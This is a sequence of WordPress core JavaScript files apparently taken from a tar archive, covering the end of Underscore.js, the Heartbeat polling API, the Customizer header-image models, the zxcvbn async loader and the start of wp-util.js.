result; }); // Return a copy of the object without the disallowed properties. var omit = restArguments(function(obj, keys) { var iteratee = keys[0], context; if (isFunction$1(iteratee)) { iteratee = negate(iteratee); if (keys.length > 1) context = keys[1]; } else { keys = map(flatten$1(keys, false, false), String); iteratee = function(value, key) { return !contains(keys, key); }; } return pick(obj, iteratee, context); }); // Returns everything but the last entry of the array. Especially useful on // the arguments object. Passing **n** will return all the values in // the array, excluding the last N. function initial(array, n, guard) { return slice.call(array, 0, Math.max(0, array.length - (n == null || guard ? 1 : n))); } // Get the first element of an array. Passing **n** will return the first N // values in the array. The **guard** check allows it to work with `_.map`. function first(array, n, guard) { if (array == null || array.length < 1) return n == null || guard ? void 0 : []; if (n == null || guard) return array[0]; return initial(array, array.length - n); } // Returns everything but the first entry of the `array`. Especially useful on // the `arguments` object. Passing an **n** will return the rest N values in the // `array`. function rest(array, n, guard) { return slice.call(array, n == null || guard ? 1 : n); } // Get the last element of an array. Passing **n** will return the last N // values in the array. function last(array, n, guard) { if (array == null || array.length < 1) return n == null || guard ? void 0 : []; if (n == null || guard) return array[array.length - 1]; return rest(array, Math.max(0, array.length - n)); } // Trim out all falsy values from an array. function compact(array) { return filter(array, Boolean); } // Flatten out an array, either recursively (by default), or up to `depth`. // Passing `true` or `false` as `depth` means `1` or `Infinity`, respectively. function flatten(array, depth) { return flatten$1(array, depth, false); } // Take the difference between one array and a number of other arrays. // Only the elements present in just the first array will remain. var difference = restArguments(function(array, rest) { rest = flatten$1(rest, true, true); return filter(array, function(value){ return !contains(rest, value); }); }); // Return a version of the array that does not contain the specified value(s). var without = restArguments(function(array, otherArrays) { return difference(array, otherArrays); }); // Produce a duplicate-free version of the array. If the array has already // been sorted, you have the option of using a faster algorithm. // The faster algorithm will not work with an iteratee if the iteratee // is not a one-to-one function, so providing an iteratee will disable // the faster algorithm. function uniq(array, isSorted, iteratee, context) { if (!isBoolean(isSorted)) { context = iteratee; iteratee = isSorted; isSorted = false; } if (iteratee != null) iteratee = cb(iteratee, context); var result = []; var seen = []; for (var i = 0, length = getLength(array); i < length; i++) { var value = array[i], computed = iteratee ? iteratee(value, i, array) : value; if (isSorted && !iteratee) { if (!i || seen !== computed) result.push(value); seen = computed; } else if (iteratee) { if (!contains(seen, computed)) { seen.push(computed); result.push(value); } } else if (!contains(result, value)) { result.push(value); } } return result; } // Produce an array that contains the union: each distinct element from all of // the passed-in arrays. var union = restArguments(function(arrays) { return uniq(flatten$1(arrays, true, true)); }); // Produce an array that contains every item shared between all the // passed-in arrays. function intersection(array) { var result = []; var argsLength = arguments.length; for (var i = 0, length = getLength(array); i < length; i++) { var item = array[i]; if (contains(result, item)) continue; var j; for (j = 1; j < argsLength; j++) { if (!contains(arguments[j], item)) break; } if (j === argsLength) result.push(item); } return result; } // Complement of zip. Unzip accepts an array of arrays and groups // each array's elements on shared indices. function unzip(array) { var length = (array && max(array, getLength).length) || 0; var result = Array(length); for (var index = 0; index < length; index++) { result[index] = pluck(array, index); } return result; } // Zip together multiple lists into a single array -- elements that share // an index go together. var zip = restArguments(unzip); // Converts lists into objects. Pass either a single array of `[key, value]` // pairs, or two parallel arrays of the same length -- one of keys, and one of // the corresponding values. Passing by pairs is the reverse of `_.pairs`. function object(list, values) { var result = {}; for (var i = 0, length = getLength(list); i < length; i++) { if (values) { result[list[i]] = values[i]; } else { result[list[i][0]] = list[i][1]; } } return result; } // Generate an integer Array containing an arithmetic progression. A port of // the native Python `range()` function. See // [the Python documentation](https://docs.python.org/library/functions.html#range). function range(start, stop, step) { if (stop == null) { stop = start || 0; start = 0; } if (!step) { step = stop < start ? -1 : 1; } var length = Math.max(Math.ceil((stop - start) / step), 0); var range = Array(length); for (var idx = 0; idx < length; idx++, start += step) { range[idx] = start; } return range; } // Chunk a single array into multiple arrays, each containing `count` or fewer // items. function chunk(array, count) { if (count == null || count < 1) return []; var result = []; var i = 0, length = array.length; while (i < length) { result.push(slice.call(array, i, i += count)); } return result; } // Helper function to continue chaining intermediate results. function chainResult(instance, obj) { return instance._chain ? _$1(obj).chain() : obj; } // Add your own custom functions to the Underscore object. function mixin(obj) { each(functions(obj), function(name) { var func = _$1[name] = obj[name]; _$1.prototype[name] = function() { var args = [this._wrapped]; push.apply(args, arguments); return chainResult(this, func.apply(_$1, args)); }; }); return _$1; } // Add all mutator `Array` functions to the wrapper. each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) { var method = ArrayProto[name]; _$1.prototype[name] = function() { var obj = this._wrapped; if (obj != null) { method.apply(obj, arguments); if ((name === 'shift' || name === 'splice') && obj.length === 0) { delete obj[0]; } } return chainResult(this, obj); }; }); // Add all accessor `Array` functions to the wrapper. each(['concat', 'join', 'slice'], function(name) { var method = ArrayProto[name]; _$1.prototype[name] = function() { var obj = this._wrapped; if (obj != null) obj = method.apply(obj, arguments); return chainResult(this, obj); }; }); // Named Exports var allExports = { __proto__: null, VERSION: VERSION, restArguments: restArguments, isObject: isObject, isNull: isNull, isUndefined: isUndefined, isBoolean: isBoolean, isElement: isElement, isString: isString, isNumber: isNumber, isDate: isDate, isRegExp: isRegExp, isError: isError, isSymbol: isSymbol, isArrayBuffer: isArrayBuffer, isDataView: isDataView$1, isArray: isArray, isFunction: isFunction$1, isArguments: isArguments$1, isFinite: isFinite$1, isNaN: isNaN$1, isTypedArray: isTypedArray$1, isEmpty: isEmpty, isMatch: isMatch, isEqual: isEqual, isMap: isMap, isWeakMap: isWeakMap, isSet: isSet, isWeakSet: isWeakSet, keys: keys, allKeys: allKeys, values: values, pairs: pairs, invert: invert, functions: functions, methods: functions, extend: extend, extendOwn: extendOwn, assign: extendOwn, defaults: defaults, create: create, clone: clone, tap: tap, get: get, has: has, mapObject: mapObject, identity: identity, constant: constant, noop: noop, toPath: toPath$1, property: property, propertyOf: propertyOf, matcher: matcher, matches: matcher, times: times, random: random, now: now, escape: _escape, unescape: _unescape, templateSettings: templateSettings, template: template, result: result, uniqueId: uniqueId, chain: chain, iteratee: iteratee, partial: partial, bind: bind, bindAll: bindAll, memoize: memoize, delay: delay, defer: defer, throttle: throttle, debounce: debounce, wrap: wrap, negate: negate, compose: compose, after: after, before: before, once: once, findKey: findKey, findIndex: findIndex, findLastIndex: findLastIndex, sortedIndex: sortedIndex, indexOf: indexOf, lastIndexOf: lastIndexOf, find: find, detect: find, findWhere: findWhere, each: each, forEach: each, map: map, collect: map, reduce: reduce, foldl: reduce, inject: reduce, reduceRight: reduceRight, foldr: reduceRight, filter: filter, select: filter, reject: reject, every: every, all: every, some: some, any: some, contains: contains, includes: contains, include: contains, invoke: invoke, pluck: pluck, where: where, max: max, min: min, shuffle: shuffle, sample: sample, sortBy: sortBy, groupBy: groupBy, indexBy: indexBy, countBy: countBy, partition: partition, toArray: toArray, size: size, pick: pick, omit: omit, first: first, head: first, take: first, initial: initial, last: last, rest: rest, tail: rest, drop: rest, compact: compact, flatten: flatten, without: without, uniq: uniq, unique: uniq, union: union, intersection: intersection, difference: difference, unzip: unzip, transpose: unzip, zip: zip, object: object, range: range, chunk: chunk, mixin: mixin, 'default': _$1 }; // Default Export // Add all of the Underscore functions to the wrapper object. var _ = mixin(allExports); // Legacy Node.js API. _._ = _; return _; }))); heartbeat.js 0000644 00000056764 15111757752 0007076 0 ustar 00 /** * Heartbeat API * * Heartbeat is a simple server polling API that sends XHR requests to * the server every 15 - 60 seconds and triggers events (or callbacks) upon * receiving data. Currently these 'ticks' handle transports for post locking, * login-expiration warnings, autosave, and related tasks while a user is logged in. * * Available PHP filters (in ajax-actions.php): * - heartbeat_received * - heartbeat_send * - heartbeat_tick * - heartbeat_nopriv_received * - heartbeat_nopriv_send * - heartbeat_nopriv_tick * @see wp_ajax_nopriv_heartbeat(), wp_ajax_heartbeat() * * Custom jQuery events: * - heartbeat-send * - heartbeat-tick * - heartbeat-error * - heartbeat-connection-lost * - heartbeat-connection-restored * - heartbeat-nonces-expired * * @since 3.6.0 * @output wp-includes/js/heartbeat.js */ ( function( $, window, undefined ) { /** * Constructs the Heartbeat API. * * @since 3.6.0 * * @return {Object} An instance of the Heartbeat class. * @constructor */ var Heartbeat = function() { var $document = $(document), settings = { // Suspend/resume. suspend: false, // Whether suspending is enabled. suspendEnabled: true, // Current screen id, defaults to the JS global 'pagenow' when present // (in the admin) or 'front'. screenId: '', // XHR request URL, defaults to the JS global 'ajaxurl' when present. url: '', // Timestamp, start of the last connection request. lastTick: 0, // Container for the enqueued items. queue: {}, // Connect interval (in seconds). mainInterval: 60, // Used when the interval is set to 5 seconds temporarily. tempInterval: 0, // Used when the interval is reset. originalInterval: 0, // Used to limit the number of Ajax requests. minimalInterval: 0, // Used together with tempInterval. countdown: 0, // Whether a connection is currently in progress. connecting: false, // Whether a connection error occurred. connectionError: false, // Used to track non-critical errors. errorcount: 0, // Whether at least one connection has been completed successfully. hasConnected: false, // Whether the current browser window is in focus and the user is active. hasFocus: true, // Timestamp, last time the user was active. Checked every 30 seconds. userActivity: 0, // Flag whether events tracking user activity were set. userActivityEvents: false, // Timer that keeps track of how long a user has focus. checkFocusTimer: 0, // Timer that keeps track of how long needs to be waited before connecting to // the server again. beatTimer: 0 }; /** * Sets local variables and events, then starts the heartbeat. * * @since 3.8.0 * @access private * * @return {void} */ function initialize() { var options, hidden, visibilityState, visibilitychange; if ( typeof window.pagenow === 'string' ) { settings.screenId = window.pagenow; } if ( typeof window.ajaxurl === 'string' ) { settings.url = window.ajaxurl; } // Pull in options passed from PHP. if ( typeof window.heartbeatSettings === 'object' ) { options = window.heartbeatSettings; // The XHR URL can be passed as option when window.ajaxurl is not set. if ( ! settings.url && options.ajaxurl ) { settings.url = options.ajaxurl; } /* * Logic check: the interval can be from 1 to 3600 seconds and can be set temporarily * to 5 seconds. It can be set in the initial options or changed later from JS * or from PHP through the AJAX responses. */ if ( options.interval ) { settings.mainInterval = options.interval; if ( settings.mainInterval < 1 ) { settings.mainInterval = 1; } else if ( settings.mainInterval > 3600 ) { settings.mainInterval = 3600; } } /* * Used to limit the number of Ajax requests. Overrides all other intervals * if they are shorter. Needed for some hosts that cannot handle frequent requests * and the user may exceed the allocated server CPU time, etc. The minimal interval * can be up to 600 seconds, however setting it to longer than 120 seconds * will limit or disable some of the functionality (like post locks). * Once set at initialization, minimalInterval cannot be changed/overridden. */ if ( options.minimalInterval ) { options.minimalInterval = parseInt( options.minimalInterval, 10 ); settings.minimalInterval = options.minimalInterval > 0 && options.minimalInterval <= 600 ? options.minimalInterval : 0; } if ( settings.minimalInterval && settings.mainInterval < settings.minimalInterval ) { settings.mainInterval = settings.minimalInterval; } // 'screenId' can be added from settings on the front end where the JS global // 'pagenow' is not set. if ( ! settings.screenId ) { settings.screenId = options.screenId || 'front'; } if ( options.suspension === 'disable' ) { settings.suspendEnabled = false; } } // Convert to milliseconds. settings.mainInterval = settings.mainInterval * 1000; settings.originalInterval = settings.mainInterval; if ( settings.minimalInterval ) { settings.minimalInterval = settings.minimalInterval * 1000; } /* * Switch the interval to 120 seconds by using the Page Visibility API. * If the browser doesn't support it (Safari < 7, Android < 4.4, IE < 10), the * interval will be increased to 120 seconds after 5 minutes of mouse and keyboard * inactivity. */ if ( typeof document.hidden !== 'undefined' ) { hidden = 'hidden'; visibilitychange = 'visibilitychange'; visibilityState = 'visibilityState'; } else if ( typeof document.msHidden !== 'undefined' ) { // IE10. hidden = 'msHidden'; visibilitychange = 'msvisibilitychange'; visibilityState = 'msVisibilityState'; } else if ( typeof document.webkitHidden !== 'undefined' ) { // Android. hidden = 'webkitHidden'; visibilitychange = 'webkitvisibilitychange'; visibilityState = 'webkitVisibilityState'; } if ( hidden ) { if ( document[hidden] ) { settings.hasFocus = false; } $document.on( visibilitychange + '.wp-heartbeat', function() { if ( document[visibilityState] === 'hidden' ) { blurred(); window.clearInterval( settings.checkFocusTimer ); } else { focused(); if ( document.hasFocus ) { settings.checkFocusTimer = window.setInterval( checkFocus, 10000 ); } } }); } // Use document.hasFocus() if available. if ( document.hasFocus ) { settings.checkFocusTimer = window.setInterval( checkFocus, 10000 ); } $(window).on( 'pagehide.wp-heartbeat', function() { // Don't connect anymore. suspend(); // Abort the last request if not completed. if ( settings.xhr && settings.xhr.readyState !== 4 ) { settings.xhr.abort(); } }); $(window).on( 'pageshow.wp-heartbeat', /** * Handles pageshow event, specifically when page navigation is restored from back/forward cache. * * @param {jQuery.Event} event * @param {PageTransitionEvent} event.originalEvent */ function ( event ) { if ( event.originalEvent.persisted ) { /* * When page navigation is stored via bfcache (Back/Forward Cache), consider this the same as * if the user had just switched to the tab since the behavior is similar. */ focused(); } } ); // Check for user activity every 30 seconds. window.setInterval( checkUserActivity, 30000 ); // Start one tick after DOM ready. $( function() { settings.lastTick = time(); scheduleNextTick(); }); } /** * Returns the current time according to the browser. * * @since 3.6.0 * @access private * * @return {number} Returns the current time. */ function time() { return (new Date()).getTime(); } /** * Checks if the iframe is from the same origin. * * @since 3.6.0 * @access private * * @return {boolean} Returns whether or not the iframe is from the same origin. */ function isLocalFrame( frame ) { var origin, src = frame.src; /* * Need to compare strings as WebKit doesn't throw JS errors when iframes have * different origin. It throws uncatchable exceptions. */ if ( src && /^https?:\/\//.test( src ) ) { origin = window.location.origin ? window.location.origin : window.location.protocol + '//' + window.location.host; if ( src.indexOf( origin ) !== 0 ) { return false; } } try { if ( frame.contentWindow.document ) { return true; } } catch(e) {} return false; } /** * Checks if the document's focus has changed. * * @since 4.1.0 * @access private * * @return {void} */ function checkFocus() { if ( settings.hasFocus && ! document.hasFocus() ) { blurred(); } else if ( ! settings.hasFocus && document.hasFocus() ) { focused(); } } /** * Sets error state and fires an event on XHR errors or timeout. * * @since 3.8.0 * @access private * * @param {string} error The error type passed from the XHR. * @param {number} status The HTTP status code passed from jqXHR * (200, 404, 500, etc.). * * @return {void} */ function setErrorState( error, status ) { var trigger; if ( error ) { switch ( error ) { case 'abort': // Do nothing. break; case 'timeout': // No response for 30 seconds. trigger = true; break; case 'error': if ( 503 === status && settings.hasConnected ) { trigger = true; break; } /* falls through */ case 'parsererror': case 'empty': case 'unknown': settings.errorcount++; if ( settings.errorcount > 2 && settings.hasConnected ) { trigger = true; } break; } if ( trigger && ! hasConnectionError() ) { settings.connectionError = true; $document.trigger( 'heartbeat-connection-lost', [error, status] ); wp.hooks.doAction( 'heartbeat.connection-lost', error, status ); } } } /** * Clears the error state and fires an event if there is a connection error. * * @since 3.8.0 * @access private * * @return {void} */ function clearErrorState() { // Has connected successfully. settings.hasConnected = true; if ( hasConnectionError() ) { settings.errorcount = 0; settings.connectionError = false; $document.trigger( 'heartbeat-connection-restored' ); wp.hooks.doAction( 'heartbeat.connection-restored' ); } } /** * Gathers the data and connects to the server. * * @since 3.6.0 * @access private * * @return {void} */ function connect() { var ajaxData, heartbeatData; // If the connection to the server is slower than the interval, // heartbeat connects as soon as the previous connection's response is received. if ( settings.connecting || settings.suspend ) { return; } settings.lastTick = time(); heartbeatData = $.extend( {}, settings.queue ); // Clear the data queue. Anything added after this point will be sent on the next tick. settings.queue = {}; $document.trigger( 'heartbeat-send', [ heartbeatData ] ); wp.hooks.doAction( 'heartbeat.send', heartbeatData ); ajaxData = { data: heartbeatData, interval: settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000, _nonce: typeof window.heartbeatSettings === 'object' ? window.heartbeatSettings.nonce : '', action: 'heartbeat', screen_id: settings.screenId, has_focus: settings.hasFocus }; if ( 'customize' === settings.screenId ) { ajaxData.wp_customize = 'on'; } settings.connecting = true; settings.xhr = $.ajax({ url: settings.url, type: 'post', timeout: 30000, // Throw an error if not completed after 30 seconds. data: ajaxData, dataType: 'json' }).always( function() { settings.connecting = false; scheduleNextTick(); }).done( function( response, textStatus, jqXHR ) { var newInterval; if ( ! response ) { setErrorState( 'empty' ); return; } clearErrorState(); if ( response.nonces_expired ) { $document.trigger( 'heartbeat-nonces-expired' ); wp.hooks.doAction( 'heartbeat.nonces-expired' ); } // Change the interval from PHP. if ( response.heartbeat_interval ) { newInterval = response.heartbeat_interval; delete response.heartbeat_interval; } // Update the heartbeat nonce if set. if ( response.heartbeat_nonce && typeof window.heartbeatSettings === 'object' ) { window.heartbeatSettings.nonce = response.heartbeat_nonce; delete response.heartbeat_nonce; } // Update the Rest API nonce if set and wp-api loaded. if ( response.rest_nonce && typeof window.wpApiSettings === 'object' ) { window.wpApiSettings.nonce = response.rest_nonce; // This nonce is required for api-fetch through heartbeat.tick. // delete response.rest_nonce; } $document.trigger( 'heartbeat-tick', [response, textStatus, jqXHR] ); wp.hooks.doAction( 'heartbeat.tick', response, textStatus, jqXHR ); // Do this last. Can trigger the next XHR if connection time > 5 seconds and newInterval == 'fast'. if ( newInterval ) { interval( newInterval ); } }).fail( function( jqXHR, textStatus, error ) { setErrorState( textStatus || 'unknown', jqXHR.status ); $document.trigger( 'heartbeat-error', [jqXHR, textStatus, error] ); wp.hooks.doAction( 'heartbeat.error', jqXHR, textStatus, error ); }); } /** * Schedules the next connection. * * Fires immediately if the connection time is longer than the interval. * * @since 3.8.0 * @access private * * @return {void} */ function scheduleNextTick() { var delta = time() - settings.lastTick, interval = settings.mainInterval; if ( settings.suspend ) { return; } if ( ! settings.hasFocus ) { interval = 120000; // 120 seconds. Post locks expire after 150 seconds. } else if ( settings.countdown > 0 && settings.tempInterval ) { interval = settings.tempInterval; settings.countdown--; if ( settings.countdown < 1 ) { settings.tempInterval = 0; } } if ( settings.minimalInterval && interval < settings.minimalInterval ) { interval = settings.minimalInterval; } window.clearTimeout( settings.beatTimer ); if ( delta < interval ) { settings.beatTimer = window.setTimeout( function() { connect(); }, interval - delta ); } else { connect(); } } /** * Sets the internal state when the browser window becomes hidden or loses focus. * * @since 3.6.0 * @access private * * @return {void} */ function blurred() { settings.hasFocus = false; } /** * Sets the internal state when the browser window becomes visible or is in focus. * * @since 3.6.0 * @access private * * @return {void} */ function focused() { settings.userActivity = time(); // Resume if suspended. resume(); if ( ! settings.hasFocus ) { settings.hasFocus = true; scheduleNextTick(); } } /** * Suspends connecting. */ function suspend() { settings.suspend = true; } /** * Resumes connecting. */ function resume() { settings.suspend = false; } /** * Runs when the user becomes active after a period of inactivity. * * @since 3.6.0 * @access private * * @return {void} */ function userIsActive() { settings.userActivityEvents = false; $document.off( '.wp-heartbeat-active' ); $('iframe').each( function( i, frame ) { if ( isLocalFrame( frame ) ) { $( frame.contentWindow ).off( '.wp-heartbeat-active' ); } }); focused(); } /** * Checks for user activity. * * Runs every 30 seconds. Sets 'hasFocus = true' if user is active and the window * is in the background. Sets 'hasFocus = false' if the user has been inactive * (no mouse or keyboard activity) for 5 minutes even when the window has focus. * * @since 3.8.0 * @access private * * @return {void} */ function checkUserActivity() { var lastActive = settings.userActivity ? time() - settings.userActivity : 0; // Throttle down when no mouse or keyboard activity for 5 minutes. if ( lastActive > 300000 && settings.hasFocus ) { blurred(); } // Suspend after 10 minutes of inactivity when suspending is enabled. // Always suspend after 60 minutes of inactivity. This will release the post lock, etc. if ( ( settings.suspendEnabled && lastActive > 600000 ) || lastActive > 3600000 ) { suspend(); } if ( ! settings.userActivityEvents ) { $document.on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() { userIsActive(); }); $('iframe').each( function( i, frame ) { if ( isLocalFrame( frame ) ) { $( frame.contentWindow ).on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() { userIsActive(); }); } }); settings.userActivityEvents = true; } } // Public methods. /** * Checks whether the window (or any local iframe in it) has focus, or the user * is active. * * @since 3.6.0 * @memberOf wp.heartbeat.prototype * * @return {boolean} True if the window or the user is active. */ function hasFocus() { return settings.hasFocus; } /** * Checks whether there is a connection error. * * @since 3.6.0 * * @memberOf wp.heartbeat.prototype * * @return {boolean} True if a connection error was found. */ function hasConnectionError() { return settings.connectionError; } /** * Connects as soon as possible regardless of 'hasFocus' state. * * Will not open two concurrent connections. If a connection is in progress, * will connect again immediately after the current connection completes. * * @since 3.8.0 * * @memberOf wp.heartbeat.prototype * * @return {void} */ function connectNow() { settings.lastTick = 0; scheduleNextTick(); } /** * Disables suspending. * * Should be used only when Heartbeat is performing critical tasks like * autosave, post-locking, etc. Using this on many screens may overload * the user's hosting account if several browser windows/tabs are left open * for a long time. * * @since 3.8.0 * * @memberOf wp.heartbeat.prototype * * @return {void} */ function disableSuspend() { settings.suspendEnabled = false; } /** * Gets/Sets the interval. * * When setting to 'fast' or 5, the interval is 5 seconds for the next 30 ticks * (for 2 minutes and 30 seconds) by default. In this case the number of 'ticks' * can be passed as second argument. If the window doesn't have focus, * the interval slows down to 2 minutes. * * @since 3.6.0 * * @memberOf wp.heartbeat.prototype * * @param {string|number} speed Interval: 'fast' or integer between 1 and 3600 (seconds). * Fast equals 5. * @param {number} ticks Tells how many ticks before the interval reverts back. * Value must be between 1 and 30. Used with speed = 'fast' or 5. * * @return {number} Current interval in seconds. */ function interval( speed, ticks ) { var newInterval, oldInterval = settings.tempInterval ? settings.tempInterval : settings.mainInterval; if ( speed ) { if ( 'fast' === speed ) { // Special case, see below. newInterval = 5000; } else if ( 'long-polling' === speed ) { // Allow long polling (experimental). settings.mainInterval = 0; return 0; } else { speed = parseInt( speed, 10 ); if ( speed >= 1 && speed <= 3600 ) { newInterval = speed * 1000; } else { newInterval = settings.originalInterval; } } if ( settings.minimalInterval && newInterval < settings.minimalInterval ) { newInterval = settings.minimalInterval; } // Special case, runs for a number of ticks then reverts to the previous interval. if ( 5000 === newInterval ) { ticks = parseInt( ticks, 10 ) || 30; ticks = ticks < 1 || ticks > 30 ? 30 : ticks; settings.countdown = ticks; settings.tempInterval = newInterval; } else { settings.countdown = 0; settings.tempInterval = 0; settings.mainInterval = newInterval; } /* * Change the next connection time if new interval has been set. * Will connect immediately if the time since the last connection * is greater than the new interval. */ if ( newInterval !== oldInterval ) { scheduleNextTick(); } } return settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000; } /** * Enqueues data to send with the next XHR. * * As the data is send asynchronously, this function doesn't return the XHR * response. To see the response, use the custom jQuery event 'heartbeat-tick' * on the document, example: * $(document).on( 'heartbeat-tick.myname', function( event, data, textStatus, jqXHR ) { * // code * }); * If the same 'handle' is used more than once, the data is not overwritten when * the third argument is 'true'. Use `wp.heartbeat.isQueued('handle')` to see if * any data is already queued for that handle. * * @since 3.6.0 * * @memberOf wp.heartbeat.prototype * * @param {string} handle Unique handle for the data, used in PHP to * receive the data. * @param {*} data The data to send. * @param {boolean} noOverwrite Whether to overwrite existing data in the queue. * * @return {boolean} True if the data was queued. */ function enqueue( handle, data, noOverwrite ) { if ( handle ) { if ( noOverwrite && this.isQueued( handle ) ) { return false; } settings.queue[handle] = data; return true; } return false; } /** * Checks if data with a particular handle is queued. * * @since 3.6.0 * * @param {string} handle The handle for the data. * * @return {boolean} True if the data is queued with this handle. */ function isQueued( handle ) { if ( handle ) { return settings.queue.hasOwnProperty( handle ); } } /** * Removes data with a particular handle from the queue. * * @since 3.7.0 * * @memberOf wp.heartbeat.prototype * * @param {string} handle The handle for the data. * * @return {void} */ function dequeue( handle ) { if ( handle ) { delete settings.queue[handle]; } } /** * Gets data that was enqueued with a particular handle. * * @since 3.7.0 * * @memberOf wp.heartbeat.prototype * * @param {string} handle The handle for the data. * * @return {*} The data or undefined. */ function getQueuedItem( handle ) { if ( handle ) { return this.isQueued( handle ) ? settings.queue[handle] : undefined; } } initialize(); // Expose public methods. return { hasFocus: hasFocus, connectNow: connectNow, disableSuspend: disableSuspend, interval: interval, hasConnectionError: hasConnectionError, enqueue: enqueue, dequeue: dequeue, isQueued: isQueued, getQueuedItem: getQueuedItem }; }; /** * Ensure the global `wp` object exists. * * @namespace wp */ window.wp = window.wp || {}; /** * Contains the Heartbeat API. * * @namespace wp.heartbeat * @type {Heartbeat} */ window.wp.heartbeat = new Heartbeat(); }( jQuery, window )); customize-models.js 0000644 00000015245 15111757752 0010427 0 ustar 00 /** * @output wp-includes/js/customize-models.js */ /* global _wpCustomizeHeader */ (function( $, wp ) { var api = wp.customize; /** @namespace wp.customize.HeaderTool */ api.HeaderTool = {}; /** * wp.customize.HeaderTool.ImageModel * * A header image. This is where saves via the Customizer API are * abstracted away, plus our own Ajax calls to add images to and remove * images from the user's recently uploaded images setting on the server. * These calls are made regardless of whether the user actually saves new * Customizer settings. * * @memberOf wp.customize.HeaderTool * @alias wp.customize.HeaderTool.ImageModel * * @constructor * @augments Backbone.Model */ api.HeaderTool.ImageModel = Backbone.Model.extend(/** @lends wp.customize.HeaderTool.ImageModel.prototype */{ defaults: function() { return { header: { attachment_id: 0, url: '', timestamp: _.now(), thumbnail_url: '' }, choice: '', selected: false, random: false }; }, initialize: function() { this.on('hide', this.hide, this); }, hide: function() { this.set('choice', ''); api('header_image').set('remove-header'); api('header_image_data').set('remove-header'); }, destroy: function() { var data = this.get('header'), curr = api.HeaderTool.currentHeader.get('header').attachment_id; // If the image we're removing is also the current header, // unset the latter. if (curr && data.attachment_id === curr) { api.HeaderTool.currentHeader.trigger('hide'); } wp.ajax.post( 'custom-header-remove', { nonce: _wpCustomizeHeader.nonces.remove, wp_customize: 'on', theme: api.settings.theme.stylesheet, attachment_id: data.attachment_id }); this.trigger('destroy', this, this.collection); }, save: function() { if (this.get('random')) { api('header_image').set(this.get('header').random); api('header_image_data').set(this.get('header').random); } else { if (this.get('header').defaultName) { api('header_image').set(this.get('header').url); api('header_image_data').set(this.get('header').defaultName); } else { api('header_image').set(this.get('header').url); api('header_image_data').set(this.get('header')); } } api.HeaderTool.combinedList.trigger('control:setImage', this); }, importImage: function() { var data = this.get('header'); if (data.attachment_id === undefined) { return; } wp.ajax.post( 'custom-header-add', { nonce: _wpCustomizeHeader.nonces.add, wp_customize: 'on', theme: api.settings.theme.stylesheet, attachment_id: data.attachment_id } ); }, shouldBeCropped: function() { if (this.get('themeFlexWidth') === true && this.get('themeFlexHeight') === true) { return false; } if (this.get('themeFlexWidth') === true && this.get('themeHeight') === this.get('imageHeight')) { return false; } if (this.get('themeFlexHeight') === true && this.get('themeWidth') === this.get('imageWidth')) { return false; } if (this.get('themeWidth') === this.get('imageWidth') && this.get('themeHeight') === this.get('imageHeight')) { return false; } if (this.get('imageWidth') <= this.get('themeWidth')) { return false; } return true; } }); /** * wp.customize.HeaderTool.ChoiceList * * @memberOf wp.customize.HeaderTool * @alias wp.customize.HeaderTool.ChoiceList * * @constructor * @augments Backbone.Collection */ api.HeaderTool.ChoiceList = Backbone.Collection.extend({ model: api.HeaderTool.ImageModel, // Ordered from most recently used to least. comparator: function(model) { return -model.get('header').timestamp; }, initialize: function() { var current = api.HeaderTool.currentHeader.get('choice').replace(/^https?:\/\//, ''), isRandom = this.isRandomChoice(api.get().header_image); // Overridable by an extending class. if (!this.type) { this.type = 'uploaded'; } // Overridable by an extending class. if (typeof this.data === 'undefined') { this.data = _wpCustomizeHeader.uploads; } if (isRandom) { // So that when adding data we don't hide regular images. current = api.get().header_image; } this.on('control:setImage', this.setImage, this); this.on('control:removeImage', this.removeImage, this); this.on('add', this.maybeRemoveOldCrop, this); this.on('add', this.maybeAddRandomChoice, this); _.each(this.data, function(elt, index) { if (!elt.attachment_id) { elt.defaultName = index; } if (typeof elt.timestamp === 'undefined') { elt.timestamp = 0; } this.add({ header: elt, choice: elt.url.split('/').pop(), selected: current === elt.url.replace(/^https?:\/\//, '') }, { silent: true }); }, this); if (this.size() > 0) { this.addRandomChoice(current); } }, maybeRemoveOldCrop: function( model ) { var newID = model.get( 'header' ).attachment_id || false, oldCrop; // Bail early if we don't have a new attachment ID. if ( ! newID ) { return; } oldCrop = this.find( function( item ) { return ( item.cid !== model.cid && item.get( 'header' ).attachment_id === newID ); } ); // If we found an old crop, remove it from the collection. if ( oldCrop ) { this.remove( oldCrop ); } }, maybeAddRandomChoice: function() { if (this.size() === 1) { this.addRandomChoice(); } }, addRandomChoice: function(initialChoice) { var isRandomSameType = RegExp(this.type).test(initialChoice), randomChoice = 'random-' + this.type + '-image'; this.add({ header: { timestamp: 0, random: randomChoice, width: 245, height: 41 }, choice: randomChoice, random: true, selected: isRandomSameType }); }, isRandomChoice: function(choice) { return (/^random-(uploaded|default)-image$/).test(choice); }, shouldHideTitle: function() { return this.size() < 2; }, setImage: function(model) { this.each(function(m) { m.set('selected', false); }); if (model) { model.set('selected', true); } }, removeImage: function() { this.each(function(m) { m.set('selected', false); }); } }); /** * wp.customize.HeaderTool.DefaultsList * * @memberOf wp.customize.HeaderTool * @alias wp.customize.HeaderTool.DefaultsList * * @constructor * @augments wp.customize.HeaderTool.ChoiceList * @augments Backbone.Collection */ api.HeaderTool.DefaultsList = api.HeaderTool.ChoiceList.extend({ initialize: function() { this.type = 'default'; this.data = _wpCustomizeHeader.defaults; api.HeaderTool.ChoiceList.prototype.initialize.apply(this); } }); })( jQuery, window.wp ); zxcvbn-async.js 0000644 00000001465 15111757752 0007550 0 ustar 00 /** * @output wp-includes/js/zxcvbn-async.js */ /* global _zxcvbnSettings */ /** * Loads zxcvbn asynchronously by inserting an async script tag before the first * script tag on the page. * * This makes sure zxcvbn isn't blocking loading the page as it is a big * library. The source for zxcvbn is read from the _zxcvbnSettings global. */ (function() { var async_load = function() { var first, s; s = document.createElement('script'); s.src = _zxcvbnSettings.src; s.type = 'text/javascript'; s.async = true; first = document.getElementsByTagName('script')[0]; return first.parentNode.insertBefore(s, first); }; if (window.attachEvent != null) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } }).call(this); wp-util.js 0000644 00000011107 15111757752 0006516 0 ustar 00 /** * @output wp-includes/js/wp-util.js */ /* global _wpUtilSettings */ /** @namespace wp */ 